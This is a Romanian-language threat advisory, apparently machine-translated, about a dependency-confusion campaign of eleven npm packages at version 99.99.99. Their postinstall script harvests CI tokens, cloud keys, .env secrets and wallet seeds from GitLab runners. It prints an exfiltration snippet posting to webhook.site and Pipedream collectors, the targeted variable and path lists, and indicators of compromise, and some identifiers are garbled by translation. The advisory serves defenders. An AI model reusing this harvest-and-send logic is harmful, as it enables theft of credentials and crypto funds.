Confuzie CryptoDAO: Recoltarea pachetelor npm CI/CD și Secrete Cripto

Confuzie CryptoDAO: unsprezece pachete npm, o singură sarcină utilă, recoltare CI/CD și secrete ale portofelelor cripto

TL; DR

Pe 17 iunie 2026, a fost publicat un singur cont npm unsprezece pachete care au același scop și aceeași sarcină utilăZece dintre ei poartă cryptodao- prefix (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); al unsprezecelea este domeniul de aplicare @public-for-cdao/coreFiecare a fost publicată la versiunea 99.99.99 și livrează un octet identic recon.js care merge mai departe postinstall.

Numele sunt indiciul. Se citesc ca elementele interne ale lanțului de instrumente privat al unui proiect cripto/DAO. Publicate în registrul public npm la o versiune artificial ridicată, acestea așteaptă o versiune de compilare. pipeline care este configurat să rezolve acele nume și care ajunge la npm-ul public înainte - sau în locul - registrului privat. Aceasta este confuzie de dependență, iar sarcina utilă este reglată exact pentru locul în care se așteaptă să aterizeze: CI/CD alergători.

Atunci când postinstall incendii, recon.js colectează detalii despre gazdă, analizează în detaliu patruzeci de variabile de mediu pentru cloud, CI și portofel criptografic, citește orice .env fișierele pe care le poate găsi și transmite mai departe liniile care conțin secrete ad litteram, apoi transmite pachetul către doi colectori — webhook.site și un punct final Pipedream — cu verificarea certificatului TLS dezactivată. O copie este, de asemenea, scrisă sub /tmp.

Severitate: înaltEcosistem afectat: NPMToate cele unsprezece pachete erau disponibile la momentul scrierii acestui articol.

Anatomia atacului

Mecanismul are patru părți mobile și niciuna dintre ele nu este subtilă odată ce știi să o faci. uită-te la un strat după numele pachetului.

1. Inflația versiunilor ca momeală pentru rezolvare. Fiecare pachet declară versiunea 99.99.99Confuzia de dependențe apare atunci când un manager de pachete solicită un nume intern, verifică și registrul public și alege cea mai recentă versiune pe care o are găsește. Selecția implicită a npm pentru un interval caret sau wildcard este versiunea cu cea mai mare satisfacție pentru fiecare sursă configurată; dacă ambele surse sunt private registry și public npm răspund pentru același nume, numărul de versiune mai mare câștigă. A 99.99.99 depășește practic orice versiune internă reală pe care o va avea un proiect atins, deci un rezolver care nu este fixat la sursa privată preferă copie publică — și în acest caz, ostilă. Operatorul nu trebuie să cunoască numerele de versiune reale ale țintei; alegerea unui maxim absurd garantează egalitatea întotdeauna le croiește drum.

2. Un declanșator postinstalare. pachet.json conectează sarcina utilă la instalație ciclu de viață:

{   "scripts": { "postinstall": "node recon.js" } }

Nu este necesară importul pachetului. Simpla instalare — ceea ce un CI pipeline se execută automat — rulează recon.js.

3. O amplă acțiune secretă. recon.js asamblează o matrice de rezultate în etape:

  • Contextul gazdei: nume de gazdă, platformă și versiune, arhitectură, nume de utilizator, funcționare director.
  • Variabile de mediu: iterează o listă fixă ​​de aproximativ patruzeci de nume și înregistrări oricare dintre cele setate. Lista este revelatoare - aceasta împerechează token-uri CI generice (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) și cloud acreditări (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) cu secrete de registry și container (NPM_TOKEN, PAROLĂ_DOCKER, PAROLĂ_PORT) și un cluster cu aromă distinctă de criptomonede:  CHEIE_PRIVATĂ, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCValorile înregistrate sunt trunchiate la primele 50 de caractere.
  • .și V fișiere: verifică o listă de căi — .și V, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, si .producție/.dezvoltare variante — și pentru orice fișier care există, acesta filtrează conținutul la liniile care se potrivesc CHEIE|SECRET|JETON|PARACOLĂ|PRIVAT|MNEMONIC și introduce acele rânduri **în întregime, netrunchiate** în rezultate.
  • Contextul Build-host: listează primele 20 de intrări din /construiește/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/ și / tmp /.

Lista de căi și lista de variabile sunt ponderate către rulanții GitLab, ceea ce indică sarcina utilă direct la infrastructura CI auto-găzduită, mai degrabă decât la un dezvoltator laptop. Gruparea listei de recoltă pe categorii face ca transportul intenționat să fie clar:

Categorii Variabile / căi atinse
CI/CD identitate și implementare CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Registru și container NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Magazin de date DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Criptomonedă / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Mesaje SLACK_TOKEN, DISCORD_TOKEN
Pe disc .env familie + /home/gitlab-runner/.env, /root/.env, /app/**/.env; listări în directoare ale /builds/, /var/lib/gitlab-runner/

Clusterul cripto este partea care distinge acest lucru de un CI-secret generic. sweep: frazele de pornire a portofelului și cheile de semnare apar doar în mediul unui proiectul blockchain și se mapează direct pe criptodao-/semnatar/contracte denumirea transportatorilor.

4. Exfiltrare dublă cu verificare dezactivată. Matricea colectată este serializat și trimis prin POST către două destinații:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

respingereNeautorizat: fals dezactivează verificările certificatelor TLS pentru mesajele de ieșire apeluri. Aceleași date sunt tipărite în stdout (deci ajung și în jurnalele de joburi CI) și scris /tmp/.npm_recon_ .jsonErorile sunt înghițite în tăcere, așa că un trimiterea eșuată nu lasă nicio urmă în rezultatul instalării dincolo de o singură [recunoaștere] instalat pe linia.

Un comentariu important din fișier o descrie ca fiind o „Confuzie de dependență” „Sarcină utilă de recunoaștere.” Trunchierea valorilor de mediu la 50 de caractere a avut loc forma unei dovezi de concept. Ceea ce o deplasează dincolo de un semnal de semnalizare doar a prezenței este .și V manipulare: liniile cu semnal secret sunt transmise integral, iar destinațiile sunt doi colectori funcționali, controlați de atacator, în loc de un chiuvetă care contează doar lovituri.

Companiei

Modelul de publicare este semnătura unei singure push-uri scriptate, nu a unsprezece. încărcări independente.

Ora (UTC, 17.06.2026) eveniment
03:24:58 cryptodao-bot@99.99.99 publicat
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — variantă cu scop, ~24 min mai târziu

Zece pachete au fost expediate într-un interval de 29 de secunde, aproximativ unul la fiecare trei secunde. Scopul @public-for-cdao/core a urmat aproximativ 24 de minute după — o a doua convenție de denumire pentru aceeași țintă, în cazul în care proiectul consumator face referire la lanț de instrumente intern sub un domeniu de aplicare, mai degrabă decât sub formă de nume simple.

Indicatori de compromis

Tip Indicator
Colector hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Colector hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Instalați cârligul postinstall: node recon.js
Fișier abandonat /tmp/.npm_recon_<timestamp>.json
Marcator de jurnal [recon] <pkg>@<ver> installed on <hostname> (ieșire standard în jurnalele CI)
Comportamental rejectUnauthorized: false pe HTTPS de ieșire în timpul instalării
Încărcătură utilă recon.js, identic în toate cele unsprezece pachete (o singură versiune partajată)
Versiune 99.99.99 pe fiecare pachet
Pachete cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (toate 99.99.99)
Editor aduljune / aduljune@proton.me (email neverificat, fără depozit sursă conectat)

 Atribuire și comportament observat

Totul despre cluster indică o mână. Toate cele unsprezece pachete au fost publicate prin contul npm aduljune (aduljune@proton.me, o adresă neverificată fără depozit sursă legat), într-un interval de 25 de minute, în același timp 99.99.99 versiune, expedierea unei recon.js al cărui conținut este identic octet cu octet în fiecare pachet (MD5 se potrivește cu toate cele unsprezece copii extrase). Aceasta este o sarcină utilă ștampilat pe o listă de nume, nu reutilizare independentă a codului.

Lista de nume definește ținta vizată. criptodao-* și cdao descrie aspectul modulului privat al unui proiect cripto/DAO și lista de recoltare a sarcinii utile oglinzi care ghicesc: alături de secretele generice de integrare continuă și cloud, în mod specific ajunge la CHEIE_PRIVATĂ, MNEMONIC, SEED_PHRASEși Ethereum/BSC RPC și cheile furnizorului. .și V căile de căutare și listările de directoare sunt GitLab-runner specific. Efectul observabil este că orice pipeline păcălit să instaleze acestea numele ar transmite token-urile CI, cheile cloud și datele de pe disc .și V secrete — și, pentru un proiect blockchain, materialul portofelului său — către doi colecționari terți.

Nu facem nicio afirmație cu privire la cine operează contul sau ce plănuia să facă cu acesta. date. Faptele care se susțin de la sine: numele vizează un anumit tip de lanțul de instrumente intern, sarcina utilă citește și transmite valori secrete reale, iar infrastructura era activă.

Impact, tendințe și îndrumări pentru apărători

Confuzie privind dependența rămâne eficient deoarece exploatează comportamentul rezolverului, nu un vulnerabilitate în orice pachet. Transportatorul este banal - unsprezece pachete aproape goale pachete — dar raza exploziei este indiferent de pipeline preferă în mod eronat npm public pentru un nume intern. Executările CI sunt cel mai nepotrivit loc pentru ca acest lucru să se întâmple: acestea dețin exact jetoanele și .și V fișierele pe care le citește această sarcină utilă și le instalează dependențe neinteractive, deci a postinstalare aleargă fără ca nimeni să se uite.

Acest cluster se încadrează și într-un tipar pe care îl observăm în mod constant: sarcini utile în timpul instalării care prezintă ca „cercetare” sau „recunoaștere” în timp ce se efectuează colectarea reală a acreditărilor. Eticheta în fișier nu schimbă ceea ce face codul pe un rulant. Două opțiuni de design se păstrează activitatea liniștită: fiecare operațiune de rețea și sistem de fișiere este încapsulată într-un tratare excepții care elimină erorile, deci o trimitere blocată sau un fișier lipsă nu produce nicio ieșire de diagnostic, iar singurul lucru imprimat este o singură eroare inofensivă [recon] … instalat linie care se îmbină cu vibrațiile normale ale instalării. Utilizarea webhook.site și Pipedream este, de asemenea, o comoditate deliberată — ambele sunt gratuite, servicii de captare a cererilor furnizate instantaneu, astfel încât operatorul nu are nevoie de servere de propriile lor, iar destinațiile arată ca nume de gazdă SaaS obișnuite în jurnalele de ieșire.

Aspectele economice sunt cele care fac ca acest lucru să merite atenția unui apărător, chiar dacă Codul transportatorului este banal. Înregistrarea a unsprezece nume nu costă nimic, sarcina utilă este una fișier copiat de unsprezece ori, iar managerul de pachete se ocupă de toată execuția. Un singur configurat greșit pipeline oriunde consumă unul dintre aceste nume plătește pentru întreg operațiune.

Măsuri concrete pentru apărători:

  • Fixează domeniile de aplicare interne în registrul tău privat. Configurați npm astfel încât să aveți nume interne
     și domeniile de aplicare se rezolvă doar în raport cu registry-ul dvs. (mapări ale registry-ului .npmrc cu domeniu de aplicare,
    sau un proxy care nu ajunge niciodată la npm public pentru spațiile de nume deținute). Rezervați numele de domeniu public, astfel încât nimeni altcineva să nu le poată înregistra.
  • Commit fișierele de blocare și instalați cu –ignore-scripts în CI acolo unde este posibil, sau verifică micul set de dependențe care au nevoie cu adevărat de scripturi de instalare.  recon.js nu poate rula dacă postinstalare nu este executat.
  • Tratează o versiune de 99.99.99 (sau altă versiune absurd de mare) a unui nume cu aspect intern ca un steag roșu în revizuirea dependențelor și monitorizarea registrului.
  • Alertă privind ieșirea din timpul instalării. A postinstalare care deschide o conexiune HTTPS de ieșire conexiune — în special cu verificarea certificatului dezactivată — la Merită blocate la marginea rețelei și semnalate în jurnalele de compilare webhook.site, Pipedream sau servicii similare de captare a cererilor.
  • Vânează artefactele. Verificați alergătorii pentru /tmp/.npm_recon_*.json și pentru [recon] … instalat pe … marker în jurnalele CI recente. Dacă este găsit, rotiți la fiecare acreditări expuse la aceasta pipeline — jetoane CI, chei cloud, jetoane de registry și orice elemente semină de portofel sau chei private prezente în mediu sau în fișierele .env.

Referinte

La momentul redactării, nu existau rapoarte externe despre acest grup; analiza de mai sus se bazează direct pe conținutul publicat al pachetului

sca-tools-software-instrumente-de-analiză-a-compoziției
Prioritizați, remediați și securizați riscurile software
Obține-ți contul gratuit.
Nu este necesar un card de credit.

Securizează-ți dezvoltarea și livrarea de software

cu suita de produse Xygeni